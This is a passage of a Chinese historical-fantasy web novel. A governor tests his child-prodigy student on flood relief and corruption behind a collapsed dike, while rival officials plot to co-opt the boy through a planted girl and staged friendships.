说罢,他引着陆明渊朝书房的方向走去,一边走,一边用更低的声音补充道。 “昨夜文江府突降百年不遇的暴雨,去年朝廷拨银二十万两,刚刚修葺加固的青石大堤……被冲垮了。” “抚台大人为此雷霆震怒,在签押房里摔了最心爱的一方端砚,一整天都没怎么用饭。” “您待会儿进去,言语之间,千万小心,切莫触了霉头!” 陆明渊心中一凛。 文江府! 那是江苏省内有数的大府,地处水路要冲,人口稠密,良田万顷。 去年修建的堤坝,今年被毁! 这不仅仅是天灾,背后恐怕还牵扯着无数难以言说的东西。 二十万两白银修建的堤坝,竟连一场暴雨都顶不住? “我明白了,多谢沈先生提点。” 陆明渊不动声色地点了点头,心念电转之间,已然有了计较。 很快,书房便到了。 那扇厚重的紫檀木门紧闭着,门内没有一丝声响,却透着一股令人窒息的压抑。 陆明渊整理了一下衣冠,上前轻轻叩响了房门。 “笃,笃,笃。” 三声之后,门内传来一个略显沙哑和疲惫的声音。 “进来。” 正是林瀚文。 陆明渊推门而入,一股浓重的墨香混合着淡淡的龙涎香气味扑面而来。 书房内灯火通明,巨大的书案上,堆满了小山似的公文卷宗。 林瀚文身着一件家常的青色长衫,正伏在案前,手持朱笔,奋笔疾书。 他的眉头紧锁,下颌紧绷,鬓角似乎又添了几缕银丝。 “老师。” 陆明渊轻声唤了一句,便垂手立在一旁,不再言语,静静地等待着。 他知道,此刻的林瀚文,需要的不是问候,而是安静。 时间,就在笔尖与纸张的摩擦声中,一点一滴地流逝。 窗外的天色由昏黄转为墨蓝,再到彻底的漆黑。 一个时辰,悄然而过。 林瀚文终于写完了最后一份批复,他长长地吐出一口浊气,将手中的朱笔重重地掷入笔洗之中,发出一声清脆的撞击声。 他靠在椅背上,闭上眼睛,用力地揉捏着眉心,脸上满是化不开的疲惫。 “文龙。” 他没有睁眼,只是沉声唤道。 守在门外的沈文龙立刻推门进来,躬身道。 “大人。” “将这份公函,八百里加急,送往文江府,交到知府徐之浩手上。” “告诉他,本府只要结果,不要缘由!” 林瀚文的声音里透着一股不容置疑的威严与冰冷的杀气。 “是!” 沈文龙接过火漆封好的公函,不敢多言,躬身退下。 书房内,再次恢复了安静。 林瀚文这才缓缓睁开眼,那双素来温润的眸子里,此刻布满了血丝。 他看向一旁已经站了一个时辰,却始终身形笔挺、气息平稳的陆明渊,眼中的冰冷稍稍融化了一些。 “等久了吧。” “不久,学生看老师为国事操劳,心感敬佩。” 陆明渊答得滴水不漏。 林瀚文摆了摆手,示意他坐下,语气缓和了许多。 “说说吧,今日初入贡院,感受如何?” 陆明渊依言在下首的圈椅上坐了半个身子,将今日在贡院的所见所闻,一五一十地娓娓道来。 他从一开始踏入贡院时,那些学子们因他年幼而产生的轻视与若有若无的恶意讲起。 再到他言明自己乃是浙江学籍后,众人态度一百八十度的大转弯,从鄙夷变成了热络的巴结。 他没有添油加醋,只是用一种极为平静的语调,陈述着事实,仿佛在说一件与自己毫不相干的事情。 “人之常情罢了,捧高踩低,古来有之。你小小年纪能看透这一点,且不为所动,心性已是上乘。” 林瀚文听着,微微点头。 接着,陆明渊又说起了在藏书楼的经历。 “学生在藏书楼内,先行翻阅了《南疆异物志》,对大乾南疆的风土有了粗浅了解。” “而后又读了半本《大乾水利考》,书中对本朝立国以来,黄河、长江两岸的水利工程,皆有详尽记述,剖析利弊,发人深省。” “只是学生精神有限,未能通读全篇。” 林瀚文眼中闪过一丝讶色。 寻常学子进了藏书楼,多半是去看些诗词歌赋,或是孤本杂记,哪有像他这样,上来就啃《水利考》这等枯燥艰涩的经世致用之学的? “而后,学生又去演武场与乐房,请教了射、乐二艺。” 陆明渊继续说道。 “射艺教习乃是行伍出身,教的都是沙场实用之法。学生上手试了五石弓,教习夸赞学生天赋尚可,勤加练习,当有所成。” “哦?五石弓?” 林瀚文的兴趣被提了起来,“你这小身板,能拉开五石弓?” “只是勉力拉开七八分,远未到圆满。” 陆明渊谦虚道。 “那也很了不得了!” 林瀚文赞道。 “我像你这么大的时候,三石弓都拉得龇牙咧嘴。看来你这几年在乡下,筋骨打熬得不错。” 说到这里,陆明渊的脸上露出了一丝苦笑。 “只是……到了乐房,学生便……” 他将李清源夫子如何循循善诱,自己如何冥顽不灵,最终被断言为“天生音痴”的经过,原原本本地复述了一遍。 “噗……哈哈哈哈!” 林瀚文听完,先是一愣,随即再也忍不住,拊掌大笑起来,笑声驱散了书房内多时的沉闷。 “天生音痴!好一个天生音痴!清源先生乃是江南有名的雅士,平生最重风雅,今日怕是被你气得不轻!” 他笑得前仰后合,指着陆明渊道。 “罢了,罢了!如此也好,省得你日后学那些文人骚客,附庸风雅,不务正业。” “乐艺不通,便专攻射御,将来做个文能安邦,武能定国的奇才,岂不比做个抚琴弄箫的酸腐文人要强得多?” 笑声渐歇,书房内的气氛也轻松了不少。 两人又闲聊了几句家常琐事,林瀚文脸上的笑意却渐渐敛去,神色重新变得阴沉如水。 他沉默了片刻,幽幽地叹了口气。 “文江府的堤坝,塌了。” 他缓缓开口,声音低沉而压抑。 “去年朝廷拨银二十万两,由布政使司督造,验收,号称可保五十年无虞。结果……一场暴雨,就让它成了一堆烂泥。” “沿岸数个县镇,尽成泽国,数十万百姓流离失所。” “我昨日收到消息,一整天都在调拨粮草,安排人手,处置赈灾事宜,今日才算勉强腾出手来。” 他说着,目光如炬,死死地盯住了陆明渊。 那目光,不再是师长对弟子的考校,而是一位封疆大吏,在审视自己的幕僚。 “明渊,你来告诉我。” 林瀚文一字一顿地问道,每一个字都像是从牙缝里挤出来的。 “这堤坝,为何会塌?这灾,又该如何去赈?这善后之事,又该从何处着手?” 第131章 凡有牵扯者,一律杀无赦! “这堤坝,为何会塌?这灾,又该如何去赈?这善后之事,又该从何处着手?” 这已经不是考校,而是真正的问政。 问的是数十万生民的性命,问的是大乾王朝的吏治。 陆明渊没有立刻回答。 他知道,这三个问题,环环相扣,却又主次分明。 先救人,再追责。 这是为政者最基本的道理。 他站起身,对着林瀚文再度躬身一揖,这一次,他的姿态比之前任何一次都要郑重。 “老师,学生年幼,所言皆是纸上谈兵,若有疏漏谬误之处,还请老师斧正。” 他先将自己的姿态放得极低,这不是怯懦,而是一种清醒的认知。 一个十岁的少年,对一位封疆大吏谈论如何处置如此滔天大祸,若无这份谦逊,便只剩下狂妄。 林瀚文默然不语,只是抬了抬手,示意他继续。 陆明渊这才直起身,清朗的声音在书房内响起,不疾不徐,带着一种与他年龄不符的镇定。 “老师三问,学生以为,当务之急,在于‘赈’字。人命关天,其余皆可缓图。” 他没有直接给出方案,而是反问道。 “敢问老师,文江府此次水患,波及几县几镇?受灾百姓大致有多少?男女老幼之比例如何?” “此刻是被困于高处,还是已然流离失所?府库、县库之中,存粮几何?” “周边常州、松江、太仓诸府,短日之内,可调集之粮草、舟船、药材,又有多少?” 一连串的问题,如连珠炮般抛出,却又条理分明,直指赈灾的核心。 林瀚文那双疲惫的眼中,猛然爆射出一团精光! 他原以为陆明渊会说些“开仓放粮,安抚流民”之类的空泛之言,那是任何一个读过几天书的人都能想到的套话。 却万万没想到,他一开口,问的竟是如此详尽、如此切中要害的数据! 兵法有云,知己知彼,百战不殆。赈灾如作战,不明敌情,不计己方兵马粮草,如何能打胜仗? 这些问题,正是他这一整天都在与下属官员反复核对、焦头烂额的事情! 一个十岁的孩子,从未接触过庶务,仅凭书本上的知识和自己的推演,便能瞬间抓住问题的本质! 这……这哪里是天才,这简直是天生的宰执之才! 林瀚文强压下心头的震撼,沉声将自己掌握的情况简略地说了一遍。 “……洪水来得太急,初步估算,沿江三县一十七镇尽成泽国,受灾百姓恐在三十万以上。” “多数人逃往高地,但仍有数万人被困水中。” “府库县库早已搬空,本抚已令周边各府紧急调粮,第一批粮草舟船,最快明日午后能到。” 陆明渊静静地听着,心中快速地计算着。 “既如此,学生斗胆,献策三条。” “第一,救人。立刻行文文江府及周边府县,征用所有民间舟船,渔船、商船,有一个算一个,全部投入救灾。” “同时,请老师以抚台之名,调派驻地卫所兵马,尤其是善水的操江水师,即刻开赴灾区。” “兵丁不仅可为救人之主力,亦可弹压地方,防止有乱民趁火打劫,或有不法商贩囤积居奇,哄抬物价。” “第二,安置。于灾区附近地势较高处,由官府出面,搭建临时粥棚与窝棚,收拢流民。” “救出之灾民,须得有饭吃,有片瓦遮头,方能定其心。” “此事千头万绪,可发动地方乡绅大户,令其有钱出钱,有力出力,并许诺事后由官府表彰,甚至酌情给予一些功名上的便利。” “如此,既解了燃眉-急,也安抚了地方势力。” “第三,统筹。粮食乃救命之本,万万不可有失。从周边调集来的粮草,不能直接发放到灾民手中,以免造成哄抢与浪费。” “当以官府为主导,统一开灶煮粥,按人头分发,务必保证每一粒米都用在灾民口中。” “同时,严令各地,胆敢在此期间克扣、倒卖赈灾粮者,以军法论处,立斩不赦!” 陆明渊一口气说完,书房内再次陷入了沉寂。 他的声音清越,条理清晰,逻辑缜密,从救人到安置再到后勤,构成了一个完整的、可执行的初步赈灾方案。 林瀚文看着眼前的少年,心中早已是翻江倒海。 这些对策,他与一众幕僚商议了一整天,也不过如此了。 甚至在发动乡绅和军法处置这两点上,陆明渊的说法比那些久历官场的老油条还要果决、狠辣! 许久,林瀚文才长长地吐出一口气,那口气仿佛带着胸中的万千沟壑。 他看着陆明渊,眼神复杂无比,既有欣慰,又有惊叹,甚至还有一丝……后生可畏的悚然。 “你说的都很好,很全面。” 林瀚文的声音有些沙哑。 “本抚这一日所布置,也大抵如此。但你……还是漏了一点,也是最致命的一点。” 陆明渊闻言,心中一凛,躬身道:“请老师指教。” 林瀚文的目光变得幽深起来,他缓缓道。 “大涝之后,必有大疫。洪水退去,遍地狼藉,人畜尸身腐烂,蚊蝇滋生,水井被污。” “若不及时防疫,一场瘟疫,杀的人可能比洪水淹死的还要多出十倍!” “赈灾,不仅是赈米粮,更是赈人命!必须立刻组织人手,清理尸骸,深埋或火化。” “同时,从省城调集最好的郎中,携带大量的石灰、药材,赶赴灾区,熬制防疫汤药,倾倒石灰消毒。” “这才是赈灾的重中之重,是保住数十万百姓性命的关键!” 轰! 陆明渊只觉得脑中一声嗡鸣。 防疫! 是了,他怎么把这一点给忘了! 《大乾水利考》中曾有数次记载,历朝历代,水患之后,瘟疫横行,赤地千里,饿殍满地,所到之处皆是人间地狱! 自己终究是纸上谈兵,只想着如何救人于水火,却忘了水火之后,还有更可怕的病魔。 今日在贡院奔波一天,心神消耗甚巨,此刻又是深夜,精神疲惫之下,思虑竟然出现了如此巨大的纰漏。 一滴冷汗,从他的额角滑落。 “学生……学生思虑不周,险些酿成大错!” 陆明渊的脸上露出一丝愧色,真心实意地再次躬身,“多谢老师点醒,学生受教了!” 看到他这副模样,林瀚文心中最后的一丝考校之意也烟消云散,取而代之的是发自内心的欣赏与喜爱。 不骄不躁,闻过则喜,知错能改。此等心性,比他那番惊世骇俗的策论更加难得。 “无妨,你毕竟年幼,能想到这一步,已是天下罕有。” 林瀚文摆了摆手,示意他坐下,语气重新变得温和,“那么,我们再来说说第二个问题。” 他的脸色,随着话锋一转,再度阴沉下来。 “去年刚刚花费二十万两白银修葺加固的青石大堤,一场暴雨便使其决堤。此事,你如何看?” 书房内的气氛,瞬间又凝重如铁。 如果说,如何赈灾,考验的是陆明渊的经世致用之才。 那么这个问题,考验的便是他的为官之道,是他对这大乾官场黑暗面的洞察力。 陆明渊沉默了片刻。 烛火在他的瞳孔中跳动,他的大脑在飞速运转。 二十万两白银,这是一个足以让无数人疯狂的数字。 他缓缓抬起头,迎着林瀚文那锐利如刀的目光,平静地说道。 “学生以为,此事无外乎两种可能。” “其一,天灾之下,藏着人祸。” “所谓人祸,便是贪腐。二十万两的修堤银,层层盘剥,层层克扣,真正用到堤坝上的,怕是十不存一。” “青石换成碎石,糯米浆换成黄泥汤,钢筋铁料换成竹竿木条。” “如此偷工减料造出来的,不过是一座银样蜡枪头的豆腐渣堤坝,表面看着光鲜,内里早已被蛀空。” “莫说百年不遇的暴雨,便是一场寻常的汛期,恐怕都难以抵挡。” 陆明渊的声音很轻,但每一个字都像是重锤,敲打在书房的寂静之中。 林瀚文的脸色愈发阴沉,紧紧抿着的嘴唇,透出一股森然的杀意。 陆明渊没有停顿,继续说道:“其二,便是人为破坏。” “有人不希望江苏安稳,或与老师政见不合,或与朝中某些势力有所勾结,故意在暴雨之夜,炸毁堤坝,制造混乱。” “其目的,或是为了嫁祸老师,动摇老师在江苏的根基;或是为了浑水摸鱼,从中牟取更大的利益。” 两种可能,一种指向内部的腐败,一种指向外部的阴谋。 “那你,更倾向于哪一种?” 林瀚文追问道,目光灼灼。 陆明渊毫不犹豫地回答。 “学生更倾向于第一种。” “为何?” “因为动机。” 陆明渊条分缕析地说道。 “江苏承平已久,素称鱼米之乡,并无倭寇之乱,亦无白莲之扰。” “在此地炸毁堤坝,制造动乱,除了能让老师您焦头烂额之外,对任何一方势力都无法造成实质性的打击,反而会激起民愤,引火烧身,实乃不智之举。” “再者,此次决堤,仅文江府一处。若是人为破坏,意在动摇国本,为何不选择多点开花,造成更大的混乱?只毁一处,更像是……一场意外。” 陆明渊的目光清澈而坚定。 “人心之贪,甚于洪水猛兽。为了那白花花的银子,总有人愿意铤而走险,拿数十万百姓的性命做赌注。” “在他们看来,只要暴雨不大,汛期不猛,这豆腐渣的堤坝便能多撑一年,他们的罪行便能多掩盖一年。” “只是他们没想到,天道好运,报应来得如此之快。” 说到最后,他的语气中带上了一丝淡淡的嘲讽与冰冷。 林瀚文听完,久久不语。 他靠在椅背上,闭上了眼睛,但那紧握的双拳,指节早已捏得发白。 陆明渊的分析,与他派人暗中查探得来的初步线索,几乎不谋而合! 他缓缓睁开眼,看着眼前的少年,心中涌起一股难以言喻的复杂情绪。 此子,断不可只以神童视之! 他的心智,他的眼界,他对人性的洞察,对时局的把握,已经远远超出了一个“天才”所能涵盖的范畴。 假以时日,此子必为国之栋梁,亦或是……国之巨擘! “你说的,很好。” 林瀚文的声音里,再也没有了丝毫考校的意味,只剩下一种沉甸甸的认可。 “本抚,也是这么想的。” 他站起身,走到窗边,推开窗户。 一股夹杂着潮气的夜风涌了进来,吹动了他鬓角的银丝。 “此事,本抚已密令江苏按察使司,派专人前往文江府,彻查到底!” 他的声音陡然变得冰冷刺骨,充满了金戈铁马的杀伐之气。 “从布政使司,到文江府衙,再到下面的县丞、主簿,乃至修堤的工头、采买的商人……凡是伸手之人,有一个,算一个!” “本抚要让他们知道,百姓的血汗,朝廷的帑银,不是他们可以随意侵吞的!” “凡有牵扯者,一律……杀无赦!” “杀无赦”三个字,从这位素以温润儒雅著称的封疆大吏口中说出,带着一股血腥的戾气,让整个书房的温度都仿佛下降了几分。 陆明渊垂手立在一旁,静静地听着。 第132章 今日找你来,是有一件天大的事 “杀人,是最后的手段,却不是最好的手段。” “彻查贪腐,抓人,砍头,固然能平一时之民愤,但风暴过后,留下的烂摊子,才是最考验为政者心性与手段的难题。” “这第三个问题,善后之事,千头万绪,远比赈灾与追责更为繁复。” “本抚问你,你却未答。但今夜,本抚要告诉你,这善后之事,从明天,便要开始。” 陆明渊心中一动,静立聆听。 “从明日起,你便不必再去贡院了。” 林瀚文走到书案前,指着那堆积如山的公文。 “每日清晨,本抚会让人将各府县呈报上来的文书、条陈、报表,摘抄一份副本给你。你要看,要思,要想。” “你要想,哪里的粥棚搭建得最快,是何缘故?哪里的流民出现了骚动,又是为何?” “哪一笔赈灾银两的发放,最是及时有效?哪一个县令的举措,值得通报嘉奖?哪一个胥吏的作为,又暗藏猫腻?” 林瀚文的语速不快,但每一个字都清晰地落在陆明渊的耳中,让他感受到了那扑面而来的,真实而滚烫的庶务气息。 “本抚不会给你答案,每日申时,你来书房,将你的见解与处置方案,说与本抚听。” “说对了,本抚会采纳;说错了,本抚会告诉你,错在何处。” 这已经不是考校,而是真正的言传身教。 一位封疆大吏,竟要将一个十岁的少年,带在身边,亲自指点他如何处理这关乎数十万人生死的军国大事! 这若是传扬出去,足以震动整个大乾朝堂! 陆明渊深深地吸了一口气,胸中涌起一股难以言喻的激荡。 他明白,老师这是在给他一个天大的机缘,一个能让他将满腹经纶,真正化为经世致用之学的机会。 他没有丝毫的犹豫与退缩,郑重地躬身长揖到底。 “学生……遵命!定不负老师所望!” 林瀚文欣慰地点了点头,挥了挥手。 “夜深了,去歇息吧。明日,还有一场硬仗要打。” “是,老师也请早些安歇。” 陆明渊恭敬地退出了书房,回到自己居住的跨院。 夜风清冷,吹得院中的芭蕉叶沙沙作响。 他却没有立刻睡下,而是如往常一般,来到书桌前,点亮了油灯。 开始练字! 练完五千字后,陆明渊随即开始复写书稿,接下来几日他便没有这么多时间,需要提前撰写一些! 他答应了林远峰,就一定会做到! 与此同时,总督府的书房内,林瀚文处理完最后一份紧急公文,揉了揉酸胀的眉心,起身踱步。 他下意识地走到窗边,望向陆明渊所在的跨院方向。 那小小的窗户里,一豆灯火,依旧明亮。 这么晚了,还在苦读? 林瀚文的嘴角,不由自主地泛起一丝笑意。 这世上从不缺天才,缺的是既有经天纬地之才,又有脚踏实地之功的栋梁。 陆明渊的天赋,已是他生平仅见。 如今看来,其心性之坚韧,用功之刻苦,竟也丝毫不逊于那些悬梁刺股的苦读之士。 天赋过人,却又勤勉至此,此子如何能不成才? 林瀚文负手立于窗前,遥望着那点灯火,心中一个念头变得前所未有的坚定。 我林瀚文此生无子,或许便是上天要将这块璞玉,交到我的手上。 我不仅要教他为官之术,更要教他为官之道! 我要倾我所有,将他培养成一个……能真正改变这大乾王朝积弊的千古能臣! 另一边儿,江苏布政使司,布政使陈文德的官邸。 书房内,檀香袅袅,一个身着锦衣,面容阴柔的中年男子,正安坐于主位之上。 他慢条斯理地品着新下的洞庭碧螺春。 他便是奉京中那位“小阁老”之命,星夜兼程赶至江苏的内阁中书舍人,罗文龙。 而在他的下首,平日里在江苏官场威风八面的布政使陈文德,此刻却像个谦卑的属吏,躬着身子,连大气都不敢喘。 “陈大人,” 罗文龙放下茶盏,发出“叮”的一声轻响,那声音不大,却让陈文德的心猛地一跳。 “下官在。” “小阁老的意思,想必你已经明白了。” 罗文龙的语气很平淡,却带着一种不容置疑的威严。 “林瀚文此人,看似温润,实则刚硬,不是我们的人,将来也成不了我们的人。” “想扳倒他,不易。但他的那个弟子,那个叫陆明渊的十岁神童,却是一张白纸。” 他抬起眼皮,瞥了陈文德一眼:“一张白纸,才好作画。” 陈文德连忙道。 “罗大人说的是。只是……那陆明渊如今被林瀚文看得极紧,几乎是同进同出,我们的人,怕是很难接近。” “难,才要去做。” 罗文龙冷笑一声。 “他林瀚文能防得住刀枪,能防得住刺客,难道还能防得住温香软玉,防得住少年情谊吗?” 他身体微微前倾,声音压得更低了。 “小阁老有令,不计一切代价,拿下陆明渊!要让他,从根子上,就成为我们的人!” “拿下?”陈文德有些不解。 罗文龙的眼中闪过一丝鄙夷,耐着性子解释道。 “他才十岁,懂什么?圣贤书读得再多,终究是少年心性。英雄难过美人关,神童,也一样!” “我来时已经打探清楚,扬州瘦马,甲于天下。你,去给我找一个最顶级的来。年纪要小,要与那陆明渊相仿,十二三岁最佳。” “容貌、才情、心计,都必须是上上之选!然后,制造机会,一场精心安排的偶遇,一场英雄救美式的危机,都可以。” “要让这根钩子,牢牢地挂进他的心里,让他情窦初开,让他爱上我们安排的人!” 陈文德听得心惊肉跳,一个十岁的孩子,就要用上这等阴毒的手段? 罗文龙仿佛看穿了他的心思,继续道。 “光有美人计,还不够。少年人,最重义气。你再去安排几个江苏本地的青年才俊,都是官宦子弟,出身清白,才学出众。” “让他们去和陆明渊接触,吟诗作对,结为朋友。今日送他一幅前朝名画,明日赠他一方稀世古砚,潜移默化,温水煮蛙!” “等到他视这些人如手足兄弟,离不开,信得过,那他的一举一动,所思所想,我们便能了如指掌!” “美人为刃,兄弟为网。双管齐下,他一个十岁的黄口小儿,如何抵挡得住?” 一番话说完,罗文龙端起茶杯,轻轻吹了吹浮沫,嘴角勾起一抹智珠在握的冷笑。 陈文德听得浑身发冷,却又不得不佩服这计策的毒辣与周密。 “下官……下官明白了!” 陈文德额头渗出细密的汗珠,连忙躬身应道。 “明白就好。” 罗文龙满意地点了点头。 “陈大人,这件事若是办好了,小阁老是不会亏待你的。” “林瀚文在江苏待不了多久,他迟早要调回京中。到那时,这江苏巡抚的位子……” 他没有把话说完,但那其中的意味,却让陈文德的一颗心,瞬间滚烫起来! 江苏巡抚!那可是真正的封疆大吏,权柄之重,远非他一个布政使可比! 巨大的诱惑,瞬间压倒了心中最后的一丝不安。 “请罗大人放心,也请小阁老放心!” 陈文德的腰弯得更低了,声音里充满了激动与谄媚。 “下官便是拼了这条性命,也一定将此事办得妥妥当当!绝不辜负小阁老的栽培!” …… 次日,天刚蒙蒙亮。 一辆不起眼的青布小轿,停在了江苏省城首富,大商人林万三的府邸后门。 布政使陈文德一身便服,在心腹的簇拥下,走进了林府一间极为隐秘的会客厅。 “草民林万三,拜见东翁!” 早已等候在此的林万三,一见陈文德,立刻跪地行礼。 他虽富甲一方,但在陈文德这位布政使面前,却永远执弟子礼,自称“草民”。 “起来吧。” 陈文德虚扶一把,开门见山地说道。 “今日找你来,是有一件天大的事情,要交给你去办。” “请东翁吩咐,万三万死不辞!” 陈文德将罗文龙的计策,隐去了京中背景,只说是自己的意思,简略地说了一遍。 “让那个陆明渊,成为我们的人。安排一个绝色的扬州瘦马,拿下他。” 林万三闻言,眼中精光一闪。 作为陈文德的钱袋子,他自然知道官场上的许多隐秘。 陆明渊这个名字,他更是如雷贯耳。 能让布政使大人亲自出面,动用这等手段去对付一个十岁的孩子,其背后的水,深不可测! 但他没有多问,只是沉吟了片刻,便果断地说道。 “东翁放心,此事,包在草民身上。” 他拍了拍手,一名管家悄然入内。 “去,把‘若雪’叫来。” 管家领命而去,不一会儿,一个身着素雅白裙的少女,莲步轻移,缓缓走了进来。 少女约莫十二三岁的年纪,身段窈窕,眉目如画,肌肤胜雪。 她只是静静地站在那里,便仿佛一朵含苞待放的白莲,清丽脱俗,不染一丝尘埃。 更难得的是,她那双眸子,清澈如水,带着几分不谙世事的纯真与羞怯,足以让任何男人心生怜爱。 陈文德只看了一眼,便觉得呼吸一窒。 此等绝色,便是他府中那些姬妾加起来,也比不上其一根手指! 林万三得意地笑道:“东翁,此女名为若雪,是草民耗费巨资,请了最好的师傅,从小培养的。琴棋书画,诗词歌赋,无一不精。” “原本,是打算等她再过两年,便想办法送入宫中,博一场泼天的富贵。” 他看着眼前的少女,眼神中没有丝毫的温情,只有审视货物的精明。 “如今,东翁既然需要,拿她去拿下一个未来的国之栋梁,也不算辱没了草民的这番心血!” 第133章 众学子面面相觑,无人敢作答! 接下来的三日,陆明渊的世界里再无晨昏。 总督府的书房,成了他的战场。 那堆积如山的公文,便是他的刀枪剑戟。 林瀚文没有食言,每日清晨,一份份摘抄好的副本便会准时出现在他的案头。 “文江府东堤决口,淹田三千亩,流民八百户,急需米粮一千石,帐篷三百顶。” “清河县上报,有流民聚众冲击官仓,为首者三人,已被县令当场格杀。” “淮安府报,发现疑似疫病症状者两人,已紧急隔离,请求总督府派遣良医……” 一条条,一桩桩,皆是人命关天。 陆明渊仿佛置身于一场没有硝烟的战争,他手中的笔,便是调兵遣将的令箭。 他不再是一个十岁的神童,而是一个初出茅庐的“幕僚”。 他的大脑以前所未有的速度运转着。 他从纷繁复杂的数字中,敏锐地揪出了一个虚报流民数量以冒领赈灾粮的县丞。 他从两份看似不相关的报告里,推断出某地官吏与粮商勾结,故意拖延粮价以牟取暴利。 他根据各地的地理环境与流民习性,提出了一套交叉安置、以工代赈的方案,既能安抚人心,又能加快重建。 每日申时,他走进林瀚文的书房,将自己的见解与方案一一道来。 林瀚文从最初的惊讶,到中途的审视,再到最后的默然颔首,心中的震撼无以复加。 他发现,陆明渊的思维,已经完全跳脱了书本的窠臼。 他看待问题的角度,不仅仅是“对”与“错”,更是“利”与“弊”、“缓”与“急”。 他甚至能从一份小小的开支报表中,嗅到一丝官场倾轧的火药味。 这是一种天赋,一种与生俱来的、对权术与人心的洞察力。 三日之后,当最后一份关于文江府流民安置的方案被林瀚文朱笔批下“可行”二字时,整个江苏的赈灾大局,已然初定。 十余万流民,各得其所,一场足以动摇国本的滔天巨浪,竟被硬生生地按了下去。 林瀚文看着眼前这个眉宇间带着一丝疲惫,但双眸依旧清亮如星的少年,心中百感交集。 “明渊,这三日,你做得很好。” 他由衷地赞叹道,“比本抚预想的,还要好上十倍。” “皆是老师教导有方。” 陆明渊躬身道,声音略带沙哑。 林瀚文摆了摆手,神情变得严肃起来。 “赈灾只是第一步,接下来,是善后。其中最要紧的一桩,便是防疫。” 他顿了顿,声音沉重了几分。 “大灾之后,必有大疫。此事关乎数十万人的性命,容不得半点差池。本抚思虑再三,决定亲赴文江府,坐镇调度。” 陆明渊心中一凛,他知道,老师这是要亲临一线了。 “老师……” 林瀚文看着他,目光温和而坚定。 “你不必跟着去了。防疫之事,千头万绪,凶险异常,非你现在所能接触。” “从明日起,你便回贡院去,将落下的功课补上。科举,才是你的正途。” 他走到陆明渊身边,轻轻拍了拍他的肩膀。 “你已经向本抚证明了你的才能,但你的根基,依然是圣贤之学。” “为政之道,如树之生长,枝叶再繁茂,根也必须扎得够深。” “学生……明白了。” 陆明渊知道,这是老师对自己的爱护。他不再多言,再次深深一揖。 “老师此去文江,万望保重!” “放心。” 林瀚文微微一笑,“这官场比瘟疫更凶险,本抚不也闯过来了?” 当晚,林瀚文便带着亲兵,连夜赶赴文江府。 总督离府的消息,如同一阵风,迅速吹遍了江宁城的每一个角落。 林万三的府邸内,这位富甲一方的大商人,在得到心腹传来的消息后,眼中闪过一抹兴奋的光芒。 老虎离山,正是围猎雏虎的最好时机! “去,告诉严和同,让他准备好。” 林万三对着阴影中的管家吩咐道。 “还有赵彦那边,也该动起来了。记住,要做得天衣无缝,要让一切看起来,都只是一场读书人之间的寻常意气之争。” “是,老爷!” …… 清晨的阳光,透过明伦堂的雕花窗棂,洒下一地金黄的光斑。 空气中弥漫着淡淡的墨香与书卷气,耳边是学子们琅琅的读书声。 重新坐在这熟悉的课堂里,陆明渊竟有种恍如隔世之感。 前几日还在处理着关乎数十万人生死的军国大事。 此刻却又回到了这方寸之地,聆听夫子讲解《春秋》的微言大义。 这种感觉很奇妙,像是一柄淬火的利剑,重新回到了剑鞘之中,收敛了锋芒,却更添了几分厚重。 他正凝神听讲,身旁忽然传来一个压得极低的声音。 “陆……陆兄。” 陆明渊转过头,看到邻座一个面容清瘦、穿着一身洗得发白的青色儒衫的少年,正有些局促地看着自己。 这少年他有些印象,似乎是去年院试的第三名,名叫严和同。 听说也是寒门出身,全靠苦读才有了今日的成就。 “严兄,有事?” 陆明渊轻声问道。 严和同的脸微微一红,有些不好意思地指了指自己桌上那支笔杆已经开裂的毛笔,低声道。 “不瞒陆兄,小弟的笔……方才不慎弄坏了。” “不知……不知可否借陆兄的备用之笔一用?下学后,小弟立刻去买新的奉还。” 陆明渊的目光落在那支破旧的毛笔上,又看了看严和同那朴素的穿着。 看着他眼神中那一丝不愿求人却又无可奈何的窘迫,心中不由得泛起一丝亲切感。 曾几何时,自己也是这般,为了一支笔、一方砚而发愁。 他没有丝毫犹豫,从自己的文具盒中,取出了一支崭新的狼毫笔,递了过去。 “严兄不必客气,一支笔而已,先用着便是。” “这……多谢陆兄!” 严和同眼中露出感激之色,郑重地接过毛笔,对着陆明渊拱了拱手。 “陆兄高义,和同铭记在心。明日,定当完璧归赵。” 陆明渊微笑着点了点头,没有再多说什么,重新将注意力投向了讲台。 一个小小的插曲,他并未放在心上。 然而,他没有注意到,坐在不远处的一个锦衣少年,正用一种轻蔑而挑衅的目光,冷冷地瞥了严和同和他手中的那支新笔一眼。 那少年,正是去年院试第七名,城中富商赵家的公子,赵彦。 一堂课很快过去。 夫子陈子墨是个爱惜人才的老学究,讲到兴起,便喜欢提问。 “《春秋》‘公羊’之学,贵在‘大复仇’。所谓‘九世之仇犹可复’,诸生以为,此言之精义何在?于今日之朝局,又有何借鉴?” 此问一出,堂中顿时安静下来。 这问题太大了,既考校经义,又涉及策论,一个不慎,便可能触及朝政忌讳。 众学子面面相觑,无人敢轻易作答。 陈子墨的目光扫过全场,最后落在了陆明渊身上,眼中带着期许。 然而,还未等他点名,一个清朗的声音却先响了起来。 “学生严和同,愿试答之。” 正是陆明渊身旁的严和同。 他站起身,不卑不亢,对着夫子行了一礼,朗声道。 “学生以为,‘九世犹可复’,其精义不在‘复仇’二字,而在‘正义’二字。” “何为正义?君臣之义,父子之义,家国之义!仇怨可以跨越九世而不忘,正义更当传承万代而不朽!” “此乃《春秋》之大义,亦是圣人立言之本心。” “至于借鉴朝局,学生人微言轻,不敢妄议。” “然,以史为镜,可知兴替。前朝之覆灭,始于边疆之失,终于朝纲之乱。” “若人人皆能铭记家国之义,不忘前朝之耻,则我大乾,何愁不能江山永固,万世太平?” 一番话说得是掷地有声,条理清晰。 既点明了经义核心,又巧妙地避开了妄议朝政的嫌疑,只以史为鉴,立意高远。 满堂学子,皆为之侧目。 就连陈子墨夫子,也捋着胡须,赞许地点了点头。 “言之有理,见解不俗。严和同,坐吧。” 陆明渊看着身旁重新坐下的严和同,眼中闪过一丝讶异。 他原以为,这只是一个勤奋苦读的寒门学子,却不想,其见识与才学,竟也如此出众。 看来,这江宁府贡院,当真是藏龙卧虎之地。 下学之后,学子们三三两两地散去。 陆明渊收拾好文具,习惯性地朝着藏书阁的方向走去。 林瀚文虽让他回来上课,但他自己却不想有丝毫懈怠。 总督府那三日的经历,让他深刻地认识到,自己的知识储备,还远远不够。 刚走到藏书阁那古朴的门楼下,一个身影便从旁边的老槐树后走了出来,对着他拱了拱手。 “陆兄,请留步。” 正是严和同。 “严兄有事?”陆明渊停下脚步。 “陆兄也是去藏书阁?” 